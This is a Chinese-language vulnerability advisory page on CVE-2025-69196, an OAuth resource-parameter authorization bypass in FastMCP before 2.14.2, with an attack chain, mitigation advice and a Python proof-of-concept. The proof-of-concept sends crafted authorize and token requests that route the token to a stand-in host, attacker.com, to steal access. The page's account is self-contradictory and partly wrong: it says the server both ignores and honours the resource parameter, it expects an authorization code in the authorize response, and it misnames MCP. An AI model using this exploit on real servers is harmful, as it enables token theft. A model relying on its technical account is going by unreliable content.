IPBUF安全漏洞报告
English
CVE-2025-69196 CVSS 6.5 中危

CVE-2025-69196 FastMCP OAuth资源参数授权绕过漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2025-69196
漏洞类型
授权绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
FastMCP

相关标签

FastMCPOAuth授权绕过CVE-2025-69196资源参数注入MCP框架安全漏洞

漏洞概述

FastMCP是一个用于构建MCP(Machine Control Protocol)应用程序的标准框架。在2.14.2之前的版本中,FastMCP服务器存在一个OAuth授权绕过漏洞。该漏洞允许攻击者通过操纵OAuth认证过程中的资源参数,使认证令牌被颁发给错误的资源而不是实际的MCP服务器。攻击者可以利用此漏洞获取对目标MCP服务器的未授权访问权限,从而可能导致敏感数据泄露或进一步的攻击。漏洞的根源在于服务器在处理授权和令牌请求时,没有正确验证和尊重客户端提交的资源参数,而是错误地使用了初始化时传入的base_url来颁发令牌。这一设计缺陷使得攻击者能够绕过正常的授权流程,对MCP应用程序的安全性造成严重影响。

技术细节

FastMCP在OAuth认证流程中存在严重的授权绕过漏洞。当客户端发起OAuth授权请求时,会提交资源参数(resource parameter)来指定需要访问的目标服务器。然而,在受影响版本中,服务器端代码存在逻辑缺陷:

1. 客户端提交包含正确资源参数(如MCP服务器地址)的授权请求
2. 服务器端OAuthProxy在处理请求时,没有使用客户端提交的resource参数
3. 而是错误地使用初始化时配置的base_url来生成和颁发OAuth令牌
4. 攻击者可以通过中间人攻击或构造恶意请求,诱使服务器为攻击者控制的资源地址颁发有效令牌
5. 攻击者使用获取的令牌可以访问目标MCP服务器的受保护资源

漏洞影响OAuth认证的完整性和机密性,因为攻击者可以获取本不应该获得的访问令牌,从而访问MCP服务器上的敏感数据。修复后的版本2.14.2正确实现了对客户端提交资源参数的验证和处理。

攻击链分析

STEP 1
侦察阶段
攻击者识别运行FastMCP < 2.14.2版本的目标服务器,并确认其OAuth认证端点
STEP 2
构造恶意请求
攻击者构造OAuth授权请求,将resource参数设置为攻击者控制的URL而非合法的MCP服务器地址
STEP 3
发起授权请求
攻击者向目标服务器的/oauth/authorize端点发送包含伪造resource参数的请求
STEP 4
令牌颁发
由于漏洞存在,服务器错误地使用base_url而非客户端提交的resource参数来生成OAuth访问令牌
STEP 5
令牌获取
攻击者通过redirect_uri获取颁发的访问令牌,该令牌与攻击者控制的资源URL绑定
STEP 6
未授权访问
攻击者使用获取的令牌尝试访问目标MCP服务器的受保护资源,可能导致敏感数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-69196 PoC - FastMCP OAuth Authorization Bypass # This PoC demonstrates the resource parameter manipulation in OAuth flow def exploit_cve_2025_69196(target_url, attacker_controlled_url): """ Exploit FastMCP OAuth resource parameter bypass vulnerability Args: target_url: Target FastMCP server URL attacker_controlled_url: Attacker's controlled URL for token issuance """ # Step 1: Initiate OAuth authorization request with manipulated resource parameter auth_endpoint = f"{target_url}/oauth/authorize" # The vulnerable server will use attacker_controlled_url instead of the legitimate MCP server params = { 'response_type': 'code', 'client_id': 'fastmcp_client', 'redirect_uri': 'http://attacker.com/callback', 'scope': 'mcp_access', 'resource': attacker_controlled_url # Manipulated resource parameter } response = requests.get(auth_endpoint, params=params) # Step 2: The server incorrectly issues token for attacker_controlled_url # instead of the legitimate MCP server if response.status_code == 200: # Extract the authorization code auth_code = response.json().get('code') # Step 3: Exchange authorization code for access token token_endpoint = f"{target_url}/oauth/token" token_data = { 'grant_type': 'authorization_code', 'code': auth_code, 'client_id': 'fastmcp_client', 'redirect_uri': 'http://attacker.com/callback' } token_response = requests.post(token_endpoint, data=token_data) if token_response.status_code == 200: access_token = token_response.json().get('access_token') print(f"[!] Successfully obtained access token for manipulated resource") print(f"[*] Token: {access_token}") return access_token return None # Example usage if __name__ == "__main__": target = "https://vulnerable-fastmcp-server.com" attacker_url = "https://attacker-controlled-site.com/fake-mcp" token = exploit_cve_2025_69196(target, attacker_url) if token: print("[+] Exploitation successful - OAuth token issued for wrong resource")

影响范围

FastMCP < 2.14.2

防御指南

临时缓解措施
立即将FastMCP升级到2.14.2版本以修复此授权绕过漏洞。在升级前,可以实施临时的网络层访问控制,限制对OAuth端点的访问仅限受信任的客户端IP范围,并启用详细的OAuth认证日志监控以检测潜在的恶意授权请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表